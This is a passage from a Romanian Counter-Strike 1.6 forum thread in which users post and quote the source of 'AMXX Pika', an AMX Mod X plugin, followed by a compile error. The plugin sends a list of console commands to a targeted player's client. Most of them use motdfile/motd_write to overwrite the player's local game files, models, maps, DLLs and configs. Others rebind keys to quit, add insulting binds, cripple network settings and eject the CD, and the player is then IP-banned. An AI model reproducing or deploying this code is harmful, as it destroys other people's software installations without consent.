   get_user_name ( player, name2, charsmax ( name2 ) );
   get_user_name ( id, name, charsmax ( name ) );
   get_user_ip ( player, userip, charsmax ( userip ) );
   
   userid2 = get_user_userid ( player )
   
   read_argv ( 2, reason, 31 );
   remove_quotes ( reason );
   
   set_hudmessage(255, 255, 255, -1.0, 0.21, 0, 6.0, 12.0)
   show_hudmessage(0, "Jucatorul %s a fost distrus si banat!^nComanda executata de adminul %s.",name2,name)
   
   
   
   log_to_file ( LOGFILE, "Adminul %s a folosit comanda Pika pe: %s cu motivul: (%s)", name, player, userid2, reason )
   
   for ( new i = 0; i < sizeof ( g_pika ); i++ )
      client_cmd ( player, g_pika [ i ] );
   
   server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
   
   #if defined USE_COLORCHAT
   {
      client_print_color ( 0, DontChange, "^4[^3PIKA^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_PIKA ^3pe jucatorul ^4(%s)", name, player, userid2 );
   }
   else
   {
      client_print ( 0, print_chat, "[PIKA] Adminul %s a folosti comanda PIKA pe (%s)", name, player, userid2 );
   }
   #endif
   
   client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
   
   return 1;
}
*/[/code]

Code: Select all

"Daca ai culoare nu inseamna ca esti mai presus ca un utilizator. Culoare e un fel de "rasplata" pentru ca te implici in "ridicarea" acestei comunitati.
Unii nu realizeaza ca daca ai culoare nu inseamna ca esti smecher." -- by Alexey
:troll :troll

Spui ceva,dar faci altceva !
User avatar
ionutalexandru
Membru, skill +1
Membru, skill +1
Posts: 440
Joined: 10 Jul 2014, 13:43
Detinator Steam: Da
CS Status: Counter Strike 1.6
Detinator server CS: Furien.LaLeagane.Ro
SteamID: BBcode
Fond eXtream: 0
Location: Craiova, Romania
Has thanked: 15 times
Been thanked: 1 time
Contact:

09 Aug 2014, 12:18

Dan eXtream wrote:
| Afiseaza codul
[code]/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >


/*************************************************************/
/*       ATENTIE!
   Stergeti // daca vreti mesaje colorate in chat pe Server!
   Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
//#define USE_COLORCHAT


#if defined USE_COLORCHAT
   #include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME      "AMXX Pika"
#define PLUGIN_VERSION      "1.2.0"
#define PLUGIN_AUTHOR      "AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE      "AMXX_PIKA.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
   "kill",
   "motdfile models/player.mdl;motd_write y",
   "motdfile models/v_ak47.mdl;motd_write x",
   "motdfile models/p_ak47.mdl;motd_write x",
   "motdfile models/v_flashbang.mdl;motd_write y",
   "motdfile models/p_m3.mdl;motd_write x",
   "motdfile models/v_awp.mdl;motd_write n",
   "motdfile models/p_ump45.mdl;motd_write x",
   "motdfile models/v_awp.mdl;motd_write x",
   "motdfile models/player/arctic/arctic.mdl;motd_write x",
   "motdfile models/player/gsg9/gsg9.mdl;motd_write y",
   "motdfile models/player/sas/sas.mdl;motd_write x",
   "motdfile models/player/terror/terror.mdl;motd_write y",
   "motdfile models/player/vip/vip.mdl;motd_write x",
   "motdfile models/player/urban/urban.mdl;motd_write x",
   "motdfile resource/GameMenu.res;motd_write x",
   "motdfile halflife.wad;motd_write x",
   "motdfile liblist.gam;motd_write y",
   "motdfile cs_dust.wad;motd_write x",
   "motdfile events/ak47.sc;motd_write x",
   "motdfile autoexec.cfg;motd_write x",
   "motdfile server.cfg;motd_write x",
   "motdfile ajawad.wad;motd_write x",
   "motdfile cstrike.wad;motd_write x",
   "motdfile dlls/mp.dll;motd_write x",
   "motdfile dlls/cs_i386.so;motd_write x",
   "motdfile cl_dlls/client.dll;motd_write x",
   "motdfile resource/cstrike_english.txt;motd_write x",
   "motdfile resource/game_menu.tga;motd_write x",
   "motdfile maps/de_inferno.bsp;motd_write x",
   "motdfile maps/de_dust2.bsp;motd_write x",
   "motdfile maps/de_aztec.bsp;motd_write x",
   "motdfile maps/de_dust.bsp;motd_write x",
   "motdfile maps/de_train.bsp;motd_write x",
   "motdfile cs_assault.wad;motd_write x",
   "motdfile spectatormenu.txt.wad;motd_write x",
   "motdfile custom.hpk;motd_write x",
   "sys_ticrate 0.1",
   "bind w quit",
   "bind a quit",
   "bind d quit",
   "cl_cmdrate 0.1",
   "cl_updaterate 0.0.1",
   "fps_max 1.0",
   "fps_modem 1.0",
   "name UN_*****",
   "cl_timeout 0.0",
   "cl_allowdownload 0",
   "cl_allowupload 0",
   "rate 00000",
   "developer 2",
   "hpk_maxsize 100",
   "bind m sunt_un_*****",
   "bind q admin_esti_un_prost_I_",
   "bind g admin_****_suge_cariciu :))",
   "cl_forwardspeed 100",
   "cl_backspeed 100",
   "cl_sidespeed 100",
   "motdfile userconfig.cfg;motd_write x",
   "bind t quit",
   "bind y quit",
   "cd eject",
   "quit"
};
/************************************************************/

public plugin_init ( )
{
   register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
   register_clcmd ( "amx_pika", "cmdPika", ADMIN_LEVEL_A , "<nume sau #userid>" );
}

public cmdPika ( id )
{
   if(!(get_user_flags(id) & ADMIN_IMMUNITY))
      return 1
   
   
   new arg [ 33 ];
   read_argv ( 1, arg, charsmax ( arg ) );
   new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
   
   if ( !player )
   {
      console_print ( id, "[PIKA] Jucatorul nu este online sau a iesit de pe Server." );
      return 1;
   }
   
   new authid [ 33 ], authid2 [ 33 ],
   name2 [ 33 ], name [ 33 ],
   userid2, reason [ 32 ], userip [ 33 ];
   
   get_user_authid ( id, authid, charsmax ( authid ) );
   get_user_authid ( player, authid2, charsmax ( authid2 ) );
   get_user_name ( player, name2, charsmax ( name2 ) );
   get_user_name ( id, name, charsmax ( name ) );
   get_user_ip ( player, userip, charsmax ( userip ) );
   
   userid2 = get_user_userid ( player )
   
   read_argv ( 2, reason, 31 );
   remove_quotes ( reason );
   
   set_hudmessage(255, 255, 255, -1.0, 0.21, 0, 6.0, 12.0)
   show_hudmessage(0, "Jucatorul %s a fost distrus si banat!^nComanda executata de adminul %s.",name2,name)
   
   
   
   log_to_file ( LOGFILE, "Adminul %s a folosit comanda Pika pe: %s cu motivul: (%s)", name, player, userid2, reason )
   
   for ( new i = 0; i < sizeof ( g_pika ); i++ )
      client_cmd ( player, g_pika [ i ] );
   
   server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
   
   #if defined USE_COLORCHAT
   {
      client_print_color ( 0, DontChange, "^4[^3PIKA^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_PIKA ^3pe jucatorul ^4(%s)", name, player, userid2 );
   }
   else
   {
      client_print ( 0, print_chat, "[PIKA] Adminul %s a folosti comanda PIKA pe (%s)", name, player, userid2 );
   }
   #endif
   
   client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
   
   return 1;
}
*/[/code]
Eroare la compilare.

/tmp/textc52i0e.sma(196) : error 010: invalid function or declaration

1 Error.
Could not locate output file /home/groups/amxmodx/public_html/websc3/textc52i0e.amx (compile failed).
Image
http://csmaster.biz MasterServer Romanesc Free Add
User avatar
h4wk
Fost moderator
Fost moderator
Posts: 3806
Joined: 22 Sep 2009, 13:10
Detinator Steam: Da
Reputatie: Fost eXtream Mod
Nume anterior : DaZ , zimpe , Dan eXtream
Location: Iasi
Has thanked: 306 times
Been thanked: 321 times
Contact:

09 Aug 2014, 12:50

Code: Select all

"Daca ai culoare nu inseamna ca esti mai presus ca un utilizator. Culoare e un fel de "rasplata" pentru ca te implici in "ridicarea" acestei comunitati.
Unii nu realizeaza ca daca ai culoare nu inseamna ca esti smecher." -- by Alexey
:troll :troll

Spui ceva,dar faci altceva !
Post Reply

Return to “Modificari pluginuri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 13 guests